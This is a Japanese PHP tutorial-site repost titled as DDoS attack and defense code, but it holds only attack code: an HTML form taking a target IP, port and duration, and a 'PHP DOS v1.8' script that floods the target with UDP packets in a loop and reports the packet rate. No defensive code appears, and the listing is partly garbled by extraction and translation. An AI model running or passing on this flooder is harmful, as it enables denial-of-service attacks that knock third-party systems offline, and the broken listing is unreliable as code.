ホームページ  >  記事  >  バックエンド開発  >  PHP での Ddos 攻撃と防御コード

PHP での Ddos 攻撃と防御コード

WBOY
WBOYオリジナル
2016-07-25 09:05:142309ブラウズ
  1. $ip = $_SERVER['REMOTE_ADDR'];
  2. ?>
  3. <頭>
  4. PHP DoS、EXE によってコード化
  5. <ボディ>



  6. あなたのIP: (自分で DoS をしないでください)

  7. IP:
  8. 時間:
  9. ポート:




  10. DoS 攻撃を開始した後、ブラウザが読み込まれるまでお待ちください。
复制代

文件:function.php

  1. //==================================== ====
  2. //PHP DOS v1.8 (より強力なフラッド強度)
  3. //EXE でコード化
  4. //@link http://bbs.it-home.org
  5. //======= ==================================
  6. $packets = 0;
  7. $ip = $_POST['ip'];
  8. $rand = $_POST['ポート'];
  9. set_time_limit(0);
  10. ignore_user_abort(FALSE);
  11. $exec_time = $_POST['time'];
  12. $time = time();
  13. print "フラッディング: $ip ポート $rand

    ";
  14. $max_time = $time+$exec_time;
  15. for($i=0;$i$out .= "X";
  16. }
  17. while(1){
  18. $packets++;
  19. if(time() > $max_time){
  20. break;
  21. }
  22. $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  23. if($fp){
  24. fwrite($fp, $out);
  25. fclose($fp);
  26. }
  27. }
  28. echo "パケットは ".time('h:i:s') に完了しました。" with $packets (" .round(($packets*65)/1024, 2) . " mB) パケットの平均化 " 。 Round($packets/$exec_time, 2) 。 " パケット/秒 n";
  29. ?>
复制發


声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。